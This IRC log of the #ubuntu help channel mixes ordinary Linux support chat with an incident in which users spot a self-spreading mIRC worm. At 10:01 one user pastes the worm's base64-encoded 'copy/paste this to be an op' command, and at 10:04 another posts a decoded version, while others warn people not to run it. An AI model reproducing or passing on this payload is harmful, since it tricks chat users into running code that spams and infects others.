[09:38] <nalioth> jtan325: ya got any mirrors for your new baby? sourceforge is not working too well atm
[09:38] <jtan325> nalioth, how'd it go?
[09:39] <jtan325> nalioth, i'll get on it
[09:39] <paulproteus|lapt> I have no such triangle on the foot in the upper-left corner of my GNOME desktop.
[09:39] <paulproteus|lapt> I haven't seen that triangle since 2001 or so, actually.
[09:39] <nalioth> sourceforge seems quite hamstrung atm
[09:40] <michele> paulproteus|lapt, you'd have that if you added a menu *button* instead of a menu *bar* (which is the default)
[09:40] <michele> omp342, you can't remove it.
[09:40] <omp342> =/
[09:40] <michele> omp342, that's a menu and menus have the triangle to show they can be opened
[09:41] <omp342> michele: oh =/
[09:41] <omp342> it looks ugly :/
[09:41] <michele> it's all about usability
[09:41] <omp342> why is paul saying there is no triangle
[09:41] <michele> if it hadn't it, it'd just looked as a regular launcher
[09:41] <omp342> if i clearly see one in front of me :)
[09:42] <chrismy> :D
[09:42] <michele> omp342, because paul has a default setup, with a menu bar instead of your menu button
[09:42] <FatDarrel> any cool things to do with ubuntu ?
[09:42] <omp342> michele: oh :)
[09:42] <FatDarrel> can u use ubuntu as a printserver
[09:42] <omp342> michele: i don't like the menu bar =/
[09:42] <jtan325> nalioth,
[09:42] <jtan325> bdiddy.rty.ca/conky_1.3.0-1_i386.deb
[09:42] <Wilf> paulproteus|lapt, yes, the proxy can go to secure sites.
[09:42] <wickedpuppy> actually if you want cool thing try gentoo ...
[09:42] <syn-ack> You can use it as anything you want fabbione
[09:42] <michele> omp342, I'm really sorry
[09:42] <omp342> :P
[09:43] <ekimus> FatDarrel: you can do anyhting you can think of with ubuntu (linux). and even more
[09:43] <nalioth> jtan325: i'm on powerpc, i need source code
[09:43] <FatDarrel> wickedpuppy, i run gentoo on a 66Mhz with the turbo button 486 box
[09:43] <jtan325> oh there is a ppc pkg
[09:43] <wickedpuppy> FatDarrel, from stage 1 ?
[09:43] <jtan325> one sec
[09:43] <FatDarrel> nalioth, PPC975 ?
[09:43] <jtan325> actually
[09:43] <jtan325> nalioth
[09:43] <FatDarrel> wickedpuppy, from stage 3 then i emerged world
[09:43] <jtan325> it's just bdiddy.rty.ca/(package)
[09:43] <nalioth> FatDarrel: 970fx
[09:43] <jtan325> so just change i386 to ppc
[09:43] <jtan325> makes sense?
[09:43] <FatDarrel> i started and went out
[09:43] <wickedpuppy> try from stage 1 ... much much cooler :P
[09:43] <FatDarrel> nalioth, apple or IBM ?
[09:43] <ekimus> FatDarrel: but not actually on that box? did you?
[09:44] <nalioth> FatDarrel: apple powermac dual
[09:44] <FatDarrel> nalioth, oh I was hoping it was going to be a js20 blade server :)
[09:44] <nalioth> FatDarrel: i'd like few of them
[09:44] <FatDarrel> nalioth, they have 4 way cpus on those bad boys :)
[09:45] <paulproteus|lapt> Wilf: If it can go to secure sites, then you can use Tor from your computer to go to arbitrary Internet sites.
[09:45] <FatDarrel> ekimus, i did a emerge world and I left and i forgot about it and then when i came back it crashed somewhere
[09:45] <Wilf> paulproteus|lapt, will try it tomorrow, thanks!
[09:45] <ekimus> FatDarrel: just do that on a chroot on a faster box.
[09:45] <nalioth> FatDarrel: yes i am aware of IBMs boxed candy
[09:46] <jtan325> nalioth, were you able to dl?
[09:46] <FatDarrel> wayne9999, thanks but no thanks
[09:46] <wayne9999> does anyone know a good guide to set up Apache, Mysql, and PHP on Ubuntu to run a forum. I have tried several guides and none of them have worked
[09:46] <nalioth> jtan325: i'm navigating to it
[09:46] <paulproteus|lapt> Wilf: Best of luck.
[09:46] <nalioth> although i prefer source code
[09:46] <chrismy> :(
[09:46] <FatDarrel> nalioth, i used to run a couple of those bad mofos they had 4 cpus and 512MB
[09:46] <Wilf> paulproteus|lapt, i'll need it :\
[09:46] <FatDarrel> nalioth, i used to burn code like a mofo doing theoretical optimizations
[09:47] <ekimus> wayne9999: why did you send me msg?
[09:48] <wayne9999> anybody?
[09:48] <wickedpuppy> wayne9999, i think it has nothing to do with ubuntu ... just google it or go to any lib ...
[09:48] <FatDarrel> nalioth, if I were you I would run OSx because you did pay for the eye candy and you do have a nice video card
[09:48] <nalioth> sigh
[09:48] <nalioth> FatDarrel: i like the freedoms i gain from ubuntu
[09:48] <wayne9999> i never said it did
[09:48] <FatDarrel> nalioth, even though OSX is so much slower than linux
[09:49] <nalioth> jtan325: guess i'll be waitin on sourceforge
[09:49] <wayne9999> i have tracked it down to php doesnt have mysql support
[09:49] <wayne9999> or something....
[09:49] <FatDarrel> nalioth, i like osx's hidden support for Samba and nfs, does osx mount ext3 and ext2 partitions ?
[09:49] <ekimus> wayne9999: there are extra packages that give php mysql support
[09:49] <wickedpuppy> oh course php does have mysql support
[09:49] <aftertaf> open source :)
[09:49] <wickedpuppy> why not ask in #php ?
[09:49] <Madpilot> !lamp
[09:50] <ubotu> lamp is, like, totally, Linux-Apache-MySQL-PHP, one of the standard internet server installations. Installing LAMP in Hoary is fairly straightforward. More info at https://wiki.ubuntu.com/ApacheMySQLPHP
[09:50] <wickedpuppy> why right now on my desk i got PHP , MySQL , Apache in 24 hours by SAMS ...
[09:50] <aftertaf> wayne9999 is a spammer!
[09:50] <aftertaf> somebody remove him please
[09:50] <Madpilot> wayne9999: see ubotu's link above ^^^
[09:50] <wayne9999> is there anywhere i can download lamp as a complete package
[09:50] <jtan325> nalioth, one sec
[09:50] <adnans> yeow, graphical boot in breezy! :)
[09:50] <wayne9999> because i am probly downloading the wrong packages
[09:50] <wickedpuppy> hmms ... wayne9999 you are spamming
[09:50] <ekimus> aftertaf: he messaged you too with this crappy "be an op on ubuntu" stuff?
[09:50] <aftertaf> or he has a virus!!!
[09:50] <jtan325> that don't make sense
[09:50] <FatDarrel> wayne9999, yeah sure
[09:50] <aftertaf> ekimus:  yep
[09:50] <Madpilot> !tell wayne9999 about lamp
[09:50] <ekimus> any ops here?
[09:51] <jtan325> nalioth,
[09:51] <jtan325> http://bdiddy.rty.ca/conky_1.3.0-1_powerpc.deb
[09:51] <FatDarrel> ekimus, sorry no but it looks like wayne9999 is a playah from a whole
[09:51] <ekimus> wayne9999: stop messaging people with this damn "op on ubuntu" message
[09:51] <nalioth> ekimus: what is up (i'm not one, might be ableto help)
[09:51] <Madpilot> ekimus & aftertaf I got the "op" crap too...
[09:51] <konra`> Madpilot, I love you (thank you so much for the help)
[09:51] <nalioth> !ops
[09:51] <ubotu> Help! seb128, bob2, fabbione, lamont, thom, Keybuk, fooishbar, jdub, mdz, Amaranth, tritium, ajmich, crimsun, ogra, CarlK, Seveas, Burgundavia!
[09:52] <Wilf> Wilf
[09:52] <Wilf> >_>
[09:52] <Wilf> <_<
[09:52] <ekimus> nalioth: wayne9999 is messaging several people (3 that i know) with "paste this to be an op on ubuntu" stuff. better give him a little warning
[09:52] <Wilf> make that 4.
[09:52] <konra`> big warnings
[09:52] <wayne9999> ok......has anybody here set up a server to serve a forum using mysql, php and apache?
[09:52] <mdz> ekimus, wayne9999: wayne9999 seems to have been infected with some sort of virus
[09:52] <wickedpuppy> ekimus, he doesn't do it ... not intentionally
[09:52] <nalioth> ekimus: i've met wayne b4
[09:52] <wayne9999> what?
[09:52] <mdz> wayne9999: your client is sending private messages to many people in this channel
[09:52] <wayne9999> virus wtf?
[09:52] <nalioth> wickedpuppy: he does do it intentionally
[09:53] <jtan325> nalioth, ok?
[09:53] <nalioth> wickedpuppy: he's been banned from here in 3 different IPs
[09:53] <wickedpuppy> lol
[09:53] <konra`> !kick wayne9999
[09:53] <ubotu> konra`: Bugger all, i dunno
[09:53] <konra`> lol
[09:53] <aftertaf> lol
[09:53] <wickedpuppy> does as it he knows yet he comes here ?
[09:53] <wickedpuppy> i think not ... a lot of people doesn't know whats virus is
[09:53] <ekimus> wayne9999: better check your system for any trojans or stuff
[09:54] <nalioth> any of you folks using windows DO NOT take up the ops on ubuntu offer
[09:54] <nalioth> wickedpuppy: wayne9999 knows what he's doing
[09:54] <wickedpuppy> nalioth, except setting up lamp
[09:54] <wayne9999> ?
[09:54] <aftertaf> wayne9999:  you have the chance to say something.
[09:55] <aftertaf> looool wickedpuppy
[09:55] <nalioth> Burgundavia: got a spamboy here who has been banned 3 times already for the same stuff
[09:55] <FatDarrel> wayne9999, I am Genreal Ubuntu from Nigeria ...
[09:55] <ekimus> genreal?
[09:55] <ekimus> hehe
[09:55] <ekimus> witch hunting :)
[09:55] <FatDarrel> ekimus, :)
[09:56] <aftertaf> wayne9999:  the private messages business is not good. are you meaning to cause trouble?
[09:56] <jtan325> nalioth, does it work?
[09:56] <ekimus> i don't think he actually knows what we were talking about
[09:56] <aftertaf> nope.
[09:56] <FatDarrel> wayne9999, don't cause trouble because I know some rugby boys who can show up at your flat
[09:56] <aftertaf> lol FatDarrel :)
[09:56] <nalioth> jtan325: hang on i'm dealing with a virus plague atm
[09:57] <jtan325> lol no prob, sorry. just anxious you know :-)
[09:57] <ekimus> damn i _hate_ sudo
[09:57] <ekimus> i forget to prepend it on every second command for system stuff
[09:58] <konra`> I love sudo :p
[09:58] <nalioth> thats fucked
[09:58] <nalioth> sorry
[09:58] <aftertaf> jtan325:  dunno what it does, or how, but i'm dpkg'ing right now :)
[09:58] <geneo93> ekimus:  sudo passwd root
[09:58] <jtan325> cool aftertaf
[09:58] <jtan325> i hope you won't be disapppointed
[09:59] <nalioth> ops
[09:59] <nalioth> no, screw this
[09:59] <aftertaf> just run it, says its drawing to a root window and single buffer...
[09:59] <ekimus> geneo93: no, either sudo su - or just learn to think before i type :)
[09:59] <nalioth> aftertaf: did waynething msg you?
[09:59] <aftertaf> yup
[10:00] <aftertaf> crap. infected too am i?
[10:00] <jtan325> nalioth, he messaged me too
[10:00] <ekimus> nalioth: wann get the message i still have it
[10:00] <aftertaf> **with a yoda virus by the sounds**
[10:00] <nalioth> jtan325: i'm sorry, i'm tryin to deal with some shite, and lost the URL
[10:00] <Madpilot> a what virus?
[10:00] <nalioth> ekimus: please PM me with it
[10:00] <jtan325> nalioth, i got messaged by the wayne dude too.
[10:00] <nalioth> Madpilot: that SOB is back again (after bein banned on 3 IPs earlier today)
[10:00] <geneo93> well once you use su then leave terminal for use anytime
[10:01] <aftertaf> a yoda virus...., makes you put your verbs in the wrong place.
[10:01] <jtan325> nalioth, http://bdiddy.rty.ca/conky_1.3.0-1_powerpc.deb
[10:01] <ekimus>  $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIFdhbnQgdG8gYmUgYW4gT1BFUkFUT1IgaW4gJGNoYW4gPyBjb3B5L3Bhc3RlIHRoaXMtPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=,m) | .load -rs  | //mode $me +R
[10:01] <ekimus> damn
[10:01] <nalioth> jtan325: i'm tryin to get some info on it
[10:01] <nalioth> ekimus: dude
[10:01] <konra`> is that base64 encoded?
[10:01] <jtan325> #flood ekimus
[10:01] <ekimus> yeah yeah sorry
[10:01] <nalioth> ekimus: you just set off all the windows users AV who are in here
[10:01] <ekimus> didn't mean to
[10:01] <Madpilot> ekimus: so run that in Winblows and you're hooped?
[10:02] <aftertaf> oooops (looool)
[10:02] <ekimus> that's about the dumbest thing i ever did
[10:02] <nalioth> Madpilot: yeppers
[10:02] <aftertaf> ekimus:  Where's the 'Any' key ?    ;)
[10:02] <Madpilot> Cool. Glad I didn't get into  IRC until after I started running Ubuntu... ;)
[10:03] <ekimus> aftertaf: right next to the "panic button"
[10:03] <aftertaf> :)
[10:03] <nalioth> i cant get how he was banned under 3 different IPs earlier and he's back again
[10:03] <konra`> lol
[10:03] <konra`> okl
[10:03] <konra`> I decoded it
[10:03] <konra`> what the thing does
[10:03] <Madpilot> nalioth: proxies?
[10:03] <ekimus> konra`: just don't touch this
[10:03] <konra`> is make the guy who runs it send out the msg to other people
[10:03] <konra`> aka virus
[10:03] <konra`> over irc
[10:04] <konra`> on 1:text:*:#:{ .ignore $nick | .timer\uffff 0 120 .join #Manila | .msg $nick Want to be an OPERATOR in $chan ? copy/paste this->14 //write \uffff $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs \uffff $chr(124) //mode $ $+ me +R }
[10:04] <konra`> something like that
[10:04] <konra`> :p
[10:04] <konra`> probably mirc script
[10:04] <ekimus> konra`: stop it. i pasted it by accident. enough users in here that don't need to be confronted with that kind of stuff
[10:04] <konra`> k
[10:05] <nalioth> still, folks dont need to be in here runnin that stuff (knowingly or not)
[10:05] <konra`> sorry
[10:05] <nalioth> jtan325: your server doesnt know what a deb is, heh heh
[10:06] <jtan325> lol
[10:06] <jtan325> no other problems though?
[10:06] <jtan325> or do you mean it doesn't wget right?
[10:06] <nalioth> still tryin to document the advertising agent
[10:07] <jtan325> aftertaf, how did it work out for you?
[10:07] <nalioth> jtan325: gimme a minute, please
[10:07] <omp342> hi aftertaf :P
[10:07] <aftertaf> :) omp342
[10:07] <glyn> Can someone help me find a reliable torrent for Cedega?  I had cedega but then my HD crashed and I lost it
[10:07] <jtan325> oh sorry nalioth wasn't trying to bug you...
[10:07] <jtan325> i was trying to ask aftertaf
[10:08] <ekimus> isn't cedega winex which you have to pay for glyn?
[10:08] <Madpilot> glyn: that's payware, isn't it?
[10:08] <aftertaf> jtan325:  i dont know....
[10:08] <aftertaf> how does it work?
[10:08] <aftertaf> :)
[10:08] <glyn> yeah
[10:08] <omp342> it's 1:08 am :)
[10:09] <ekimus> glyn: this isn't a warez channel
[10:09] <jtan325> aftertaf, just do "conky" haha
[10:09] <ubuntu-asker> hi, i do the following... cp my kernel (from a gentoo instalation (on the same host)) to my also working ubuntu instalation, now im "reinstaling" the nvidia module on ubuntu, but wants a lot of depends i say yes to the 12 deps.... will be everything ok?
[10:09] <omp342> and i got the free opera, it sucks :P
[10:09] <twibbler> ? if I may what antivirus software is needed for ubunt (If any) ?.
[10:09] <Madpilot> glyn: people have been kicked for asking about pirate warez - just so you know...
[10:09] <ekimus> .oO(why does everybody thinks of free software with free as in free beer)
[10:10] <Madpilot> omp342: you got one of the birthday favours as well? it's great, now I don't have to pay for the best browser going...
[10:10] <ekimus> ubuntu-asker: no it will not
[10:10] <nalioth> jtan325: whares the guide for conky?
[10:10] <ubuntu-asker> ekimus, ups
[10:10] <omp342> Madpilot: i like firefox more :)
[10:10] <jtan325> nalioth, i assume you've used conky before right?
[10:11] <jtan325> then
[10:11] <jtan325> conky.sf.net/variables.html
[10:11] <ekimus> ubuntu-asker: you would have to copy all your modules from gentoo too. but I'd recommend using the default kerne
[10:11] <jtan325> and conky.sf.net/config_settings.html
[10:11] <ekimus> kernel
[10:11] <nalioth> jtan325: never knew about it b4 now
[10:11] <ubuntu-asker> ekimus, yes i do that too
[10:11] <jtan325> lol, i made those
[10:11] <jtan325> also made the .deb package
[10:11] <geneo93> 5 bucks a month is cheap
[10:12] <ubuntu-asker> ekimus, in fact im using it right now, my doubt is about the deps that ubuntu is downloading (to "rebuild" the nvidia oficial module)
[10:12] <omp342> Madpilot: for some reason the email method didn't work and I saw that you get it on their website instead, and I did it at 12:06 and it still worked :)
[10:12] <omp342> lucky me :)
[10:13] <ubuntu-asker> ekimus, yes but i have no sound on the default kernel and a LOT of modules, so... i will try this kernel
[10:13] <Madpilot> omp342: not sure what was up with the email method - it was removed from download.com earlier today - I got mine via the Opera party website
[10:13] <ekimus> ubuntu-asker: that's because on ubuntu (debian-based) distros the way to install kernels is pretty much different from the gentoo way. you can do it by just downloading the source and compile it but the "correct" way would be to compile the kernel create a deb package and install this one
[10:14] <omp342> Madpilot: yah, the website method still worked after 12:00
[10:14] <omp342> Madpilot: so i got lucky
[10:14] <ubuntu-asker> ekimus, so your recomendation is... use the default kernel and compile a new one
[10:15] <Madpilot> omp342: there was no mention of any email at Opera's actual site - wonder if someone at download.com messed up?
[10:15] <jtan325> nalioth and/or aftertaf, if there's stuff you want to see added/changed about conky, make feature requests at https://sourceforge.net/tracker/?group_id=143975
[10:15] <ekimus> ubuntu-asker: yes. you could try to merge the .configs with diff (or just open 2 xterms and go thru the options in menuconfig and add the missing stuff to ubuntu
[10:15] <nalioth> jtan325: are you away?
[10:15] <omp342> Madpilot: i guess so
[10:16] <omp342> Madpilot: do these codes only work on opera 8.02?
[10:16] <ubuntu-asker> ekimus, ok, i will do that.... thanks
[10:16] <omp342> Madpilot: or if another version comes out we can still use it?
[10:16] <Madpilot> omp342: no idea - I'm assuming they're work until at least the last version of 8.xx, but might be wrong
[10:17] <Madpilot> omp342: I'm going to have a look around Opera's website later - not tonight, though...
[10:17] <omp342> Madpilot: i doubt i'll use opera
[10:17] <ubuntuuser56> hi, can anyone help me, im having problems with torrents on ubuntu
[10:17] <omp342> Madpilot: i love firefox :)
[10:17] <aftertaf> omp342:  me too... firefoxxxxxx
[10:17] <ekimus> firefox is cool but thunderbird is one of the crappiest mail clients ever
[10:17] <ubuntuuser56> yes stay away from thunderbird!
[10:18] <aftertaf> evo is ok.
[10:18] <Belutz> what's wrong with thunderbird?
[10:18] <aftertaf> even kontact aint half bad
[10:18] <Madpilot> The Fox is OK, but there are so many Opera-specific features that I use all the time that I won't switch...
[10:18] <ubuntuuser56> got my only ever dodgy emial through from it
[10:18] <ekimus> thunderbird doesn't even have a "reply to list"
[10:18] <ubuntuuser56> theyve obviously spent more time on firefix
[10:18] <ubuntu-asker> Madpilot, i dont want to start a flamebait, but... i dont understand, why does you use opera web-browser?
[10:18] <Wilf> as long as it's not IE, i don't mind.
[10:18] <ubuntuuser56> firefox*
[10:19] <aftertaf> jtan: how does it work, briefly... ;)
[10:19] <omp342> aftertaf: i love this theme https://addons.mozilla.org/themes/moreinfo.php?application=firefox&category=Top%20Rated&numpg=10&id=5
[10:19] <aftertaf> Wilf:  like the IEView plugin in fox ?? :)
[10:19] <Madpilot> ubuntu-asker: I've been using it since 4.something, so long before there *was* a Firefox to use
[10:19] <Wilf> -_-
[10:19] <benplaut> move it over to #ubuntu-offtopic...
[10:19] <ekimus> ubuntu-asker: opera has some quite handy features (and good shortcuts) you either love opera or hate it. that's what I know from a lot of people that tried opera
[10:19] <ubuntuuser56> well recently anyway
[10:20] <aftertaf> #join ubuntu-offtopic
[10:20] <Madpilot> aftertaf: does FF now have a "break things like IE does" plugin? I can actually see the utility of that, as someone who designs websites...
[10:20] <ubuntu-asker> ekimus, about thunderbird and reply to list, you mean that it check the mail headers (list)?
[10:20] <aftertaf> lool Madpilot
[10:20] <ubuntuuser56> hehe
[10:21] <ekimus> ubuntu-asker: yes. it can't handle mailing lists which is imho not a missing feature. it is a bug
[10:21] <ubuntu-asker> ekimus, Madpilot, IMHO firefox is STILL on 1.x version, its quite "new", but with extensions and popularity, will be better than others
[10:21] <Madpilot> just googled IEView - it does do what I thought... drat. An "IE emulator" would actually be useful for design work...
[10:22] <benplaut> Madpilot, good point... then again, for my website, if they're using IE, they are first redirected to a screen where they can choose to go the the IE complient text-only site (recommended), or brave the full-featured one (Probably buggy)... guess what most of them choose ;)
[10:22] <wijnand> does anyone here use gutenprint instead of gimp-print?
[10:22] <benplaut> well, g2g
[10:22] <Madpilot> benplaut: and if IE didn't bite, you wouldn't have to browser-sniff or maintain two versions of your website...
[10:23] <benplaut> yeah...
[10:23] <ekimus> ubuntu-asker: i'm talking about thunderbird not firefox. and they have to much recommandations for thunderbird for this excuse to be usable
[10:23] <ubuntuuser56> im very surprised people still use IE
[10:23] <benplaut> well, i put up the text-only half as a joke, half because so many people here have dialup
[10:23] <ubuntuuser56> dial-up- argggh
[10:23] <ubuntuuser56> those were teh days
[10:23] <ubuntu-asker> ekimus, yes, its a little uncomfortably the way that you must handle list on thunderbird, but isnt SO BAD
[10:23] <Madpilot> ubuntuuser56: for lots of people, "the Internet" is still a big blue E...
[10:24] <qt2> damn.
[10:24] <ubuntuuser56> yes exactly
[10:24] <ubuntuuser56> i actually had to change the icon
[10:24] <ubuntuuser56> for my mother in law
[10:24] <ubuntuuser56> from hte firefix one ot that very icon u speak of!
[10:24] <ubuntuuser56> only way to get her to use firefox :p
[10:25] <Madpilot> ubuntuuser56: ha - I've heard of having to do that...
[10:25] <omp342> there is an IE emulator: it's called wine :)
[10:25] <ekimus> ubuntu-asker: i have to copy and paste the adress for every single mail i answer on a mailing list. that's exactly what you'd had to do if you'd be using outlook express
[10:25] <ubuntuuser56> yes, well i prefer her using firefox
[10:25] <CaiN_SA> hi
[10:25] <Belutz> omp342: i always failed installing IE using wine
[10:25] <qt2> crossover office is very flawless for using ie ;)
[10:25] <ubuntuuser56> so thats a small price to pay
[10:25] <Madpilot> omp342: yeah, I need to get that running sooner or later, and download IE from MS...
[10:25] <omp342> i don't know why IE would be useful
[10:26] <CaiN_SA> say i take out my hdd
[10:26] <Madpilot> omp342: to see how badly it breaks the websites I work on...
[10:26] <CaiN_SA> and plonk it into another pc
[10:26] <CaiN_SA> what do i need to do
[10:26] <omp342> i never check my websites with IE
[10:26] <CaiN_SA> to make it work
[10:26] <omp342> i doubt i'll ever design websites in linux
[10:26] <omp342> it doesn't look the same as in windows
[10:26] <omp342> the fonts look completely different
[10:27] <omp342> even though i emerged corefonts (gentoo user here)
[10:27] <aftertaf> ieview is the only way i can check my mcp transcript and cert planner on m$.com
[10:27] <Belutz> btw, what's wrong with thunderbird?
[10:27] <ubuntuuser56> whats a gentoo user doing in a ubuntu channnel :p
[10:27] <omp342> ehh thunderbird =/
[10:27] <ubuntuuser56> looking to swtich over ;)
[10:27] <omp342> i don't like any email clients
[10:27] <aftertaf> looooool ubuntuuser56
[10:27] <omp342> :)
[10:28] <omp342> i like using the actual website to view my emails
[10:28] <Belutz> omp342: so you use only web-based email?
[10:28] <wijnand> i switched from gentoo to ubuntu... got sick of all the compiling
[10:28] <ubuntuuser56> i actually first had a go at gentoo
[10:28] <omp342> i check all my email with gmail
[10:28] <ubuntuuser56> yes exactly it was so much work
[10:29] <aftertaf> i switched from woody to sid to oh-look-it's-totally-stopped-working, to ubuntu, and am happy :)
[10:29] <omp342> i love gentoo :P
[10:29] <omp342> i switched from fedora to ubuntu to gentoo
[10:29] <ubuntuuser56> bah
[10:29] <Digis> !fglrx
[10:29] <ubotu> fglrx is probably https://wiki.ubuntu.com/BinaryDriverHowto
[10:30] <CaiN_SA> can some1 help me also plz ;P~~
[10:30] <ubuntuuser56> why did you dwtich?
[10:30] <ubuntuuser56> wanted to seem a bit more hardcore?
[10:30] <omp342> :P
[10:30] <omp342> nah
[10:30] <ubuntuuser56> hehe
[10:30] <omp342> if i wanted to seem hardcore i would get slackware
[10:30] <omp342> :P
[10:30] <aftertaf> lol
[10:30] <omp342> i just like the portage system
[10:30] <jdub> GOOD MORNING FREEDOM LOVERS!
[10:30] <wijnand> omp342: you mean create your own distro :P
[10:30] <aftertaf> lool jdub
[10:30] <omp342> + having a really customized distro
[10:30] <Madpilot> CaiN_SA: just ask your question, someone will stop being off-topic long enough to answer...
[10:30] <ubuntuuser56> yes that is one of th best things about gentoo
[10:31] <wijnand> portage is good.. it's the continuous compiling that gets tedious
[10:31] <omp342> i can't create my own distro
[10:31] <jdub> guys, this is much off-topic - i'm sure this discussion could be better had elsewhere
[10:31] <omp342> i can only code in
[10:31] <omp342> html, php, and qbasic :P
[10:31] <ubuntuuser56> awww
[10:31] <CaiN_SA> ok, if i remove my hdd that has ubuntu and i put it in a new pc, will it just work ???
[10:31] <ubuntuuser56> im learning python at the moment
[10:31] <topyli> jdub: good morning, O providers of free software :)
[10:32] <wijnand> CaiN_SA: if the cpu is similar, it should
[10:32] <omp342> CaiN_SA, yah, but you'll have to reinstall the bootloader
[10:32] <aftertaf>  CaiN_SA : i wouldn't think so, but it might
[10:32] <jdub> CaiN_SA: in many cases yes, but not always
[10:32] <wijnand> lovely.. three different answers
[10:32] <omp342> :)
[10:32] <CaiN_SA> lol
[10:32] <jdub> candlelight: how similar are the machines?
[10:32] <CaiN_SA> ok lemme explain the problem
[10:32] <wijnand> CaiN_SA: i did it once way back when with suse (i think) and that worked just fine
[10:32] <CaiN_SA> im making a mod of ubuntu
[10:32] <CaiN_SA> but
[10:32] <omp342> it will definately just work, but he might need to change some options in the kernel
[10:32] <CaiN_SA> im not gonna use debian installer
[10:32] <CaiN_SA> now
[10:32] <CaiN_SA> i wanna see
[10:33] <omp342> and he'll pobably have to reinstall the bootloader
[10:33] <CaiN_SA> how im gonna make the hardware work
[10:33] <omp342> so he can get into ubuntu
[10:33] <CaiN_SA> and make it boot right etc
[10:33] <jdub> CaiN_SA: an enormous amount of the hardware is automagically configured during boot
[10:33] <wijnand> so anyone here use gutenprint, then?
[10:33] <jdub> CaiN_SA: the two major issues you'll run into are grub and initrd/initramfs configurations
[10:33] <omp342> CaiN_SA: you'll probably need to use the livecd to reinstall grub
[10:34] <Firetech> Any Opera fans here
[10:34] <Firetech> ?
[10:34] <CaiN_SA> i can install grub myself
[10:34] <omp342> i have the full version, but i hate it :)
[10:34] <CaiN_SA> but now look
[10:34] <wijnand> Firetech: used it once.. does that count? :)
[10:34] <CaiN_SA> the initrd
[10:34] <CaiN_SA> how would i redo the initrd config ???
[10:34] <Firetech> I just found out that they are giving out free reg codes until 9 PM tonight (CEST, I guess)
[10:34] <Firetech> http://my.opera.com/community/party/
[10:35] <wijnand> in return for what? money?
[10:35] <jdub> CaiN_SA: rebuild the initrd on the new hardware
[10:35] <omp342> argh, it's taking so long to compile inkscape :(
[10:35] <CaiN_SA> jdub,
[10:35] <CaiN_SA> and how do i do that ?
[10:35] <Seveas> Firetech, opera still sucks, even if it's free :)
[10:35] <jdub> CaiN_SA: look at mkinitrd
[10:35] <Firetech> wijnand: no, only for a fake email address ;)
[10:35] <CaiN_SA> kk
[10:35] <Madpilot> Firetech: already got my free reg code, thanks!
[10:35] <omp342> Firetech: i already got the free reg code, but it sucks :)
[10:36] <omp342> Firetech: use firefox, much better
[10:36] <Firetech> I think it's ok
[10:36] <Firetech> omp342: actually, I ditched FF for Konqueror...
[10:36] <Firetech> FF is still my primary choice on windows.
[10:36] <aftertaf> ****** browser wars can be seen and further discussed on #ubuntu-offtopic
[10:36] <omp342> for me, it's
[10:37] <omp342> FF on both windows and linux
[10:37] <omp342> :)
[10:37] <omp342> yay
[10:37] <aftertaf> Belutz:  lynx rox :)
[10:37] <omp342> inkscape is done compiling :)
[10:37] <aftertaf> when x crashes :)
[10:37] <Belutz> lynx is great :D
[10:37] <Madpilot> Belutz: that's cool - let's hear it for oldschool browsers!
[10:37] <geneo93> i use moz
[10:37] <omp342> that's the only crappy part about gentoo..all the compiling :)
[10:37] <geneo93> moz is faster than ff for me
[10:38] <Seveas> ff is a heavy one
[10:38] <Firetech> omp342: I use konqueror because it integrates better with KDE (I use kubuntu). Firefox is great, just a bit bloated if you don't run gnome...
[10:38] <topyli> i have yet to see a good browser
[10:38] <topyli> !start a browser war
[10:38] <ubotu> dillo  is way better than mozilla !
[10:38] <omp342> Firetech: oh, i prefer gnome over kde (i use gentoo)
[10:39] <Firetech> !start a browser war
[10:39] <aftertaf> !start a window manager war
[10:39] <ubotu> aftertaf: What?
[10:39] <Belutz> guys... i need some opinion, what do u (use) think is the best dvd player in ubuntu?
[10:39] <glyn> is there a way I can open two instances of a program through the terminal?
[10:39] <glyn> if so, how?
[10:39] <omp342> !start a distro war
[10:39] <omp342> heh
[10:39] <omp342> :/
[10:39] <ubotu> omp342: Do they come in packets of five?
[10:39] <jdub> Belutz: install totem-xine, make sure you have the libdvdcss stuff installed
[10:39] <Madpilot> #ubuntu-offtopic for browser wars, ppl...
[10:40] <Belutz> jdub: already... but the pictures is like no smooth enough...
[10:40] <geneo93> ubotu:  we didn't ask you
[10:40] <ubotu> geneo93: parse error: dunno what the heck you're talking about
[10:40] <glyn> if I want to open a program twice through the terminal, what would I do?
[10:40] <jdub> Belutz: make sure you have dma turned on for your dvd drive
[10:40] <Belutz> glyn: run the program with & in the end
[10:41] <omp342> i wonder what this does
[10:41] <omp342> hmm
[10:41] <Belutz> jdub: already done that
[10:41] <jdub> Belutz: what's your cpu / video driver?
[10:41] <glyn> it only opened it once
[10:41] <omp342> i dont notice anything different about my text :P
[10:41] <glyn> nevermind it worked
[10:41] <glyn> thanks
[10:41] <Firetech> hmm... lol... Opera is Qt based, yet it complains that KDE is running and may steal it's shortcuts... ;)
[10:41] <aftertaf> glyn:  really i recommend the linuxcommand.org site
[10:41] <aftertaf> !cli
[10:41] <ubotu> I guess cli is https://wiki.ubuntu.com/BasicCommands or http://www.linuxcommand.org/
[10:41] <Belutz> jdub: i use centrino 1,7GHz, using fglrx for ATI
[10:42] <Belutz> aftertaf: make it 2 coffee please :)
[10:42] <aftertaf> ;)*
[10:42] <omp342> aftertaf: or 3
[10:42] <omp342> ATI :)
[10:43] <omp342> i hate nvidia
[10:43] <Belutz> why there's no distro using a glass of beer as the logo? LOL
[10:43] <Madpilot> Firetech: odd... it doesn't do that in Ubuntu w/ gnome, thankfully...
[10:43] <geneo93> Firetech:  i'm using qt based chat client on kde with no problems
[10:43] <jtan325> aftertaf, did you try conky out?
[10:43] <Madpilot> Belutz: "Beernix"?
[10:43] <Belutz> omp342: why do you hate nvidia?
[10:43] <Firetech> geneo93: that's because KDE is Qt based.
[10:43] <omp342> Belutz: i'm loyal to ATI :P
[10:43] <Belutz> Madpilot: Beernix? there is?
[10:43] <omp342> Belutz: just like i hate intel
[10:44] <Belutz> omp342: ic :D
[10:44] <pef> hello
[10:44] <geneo93> Firetech:  actually its a file sharing app and chat client
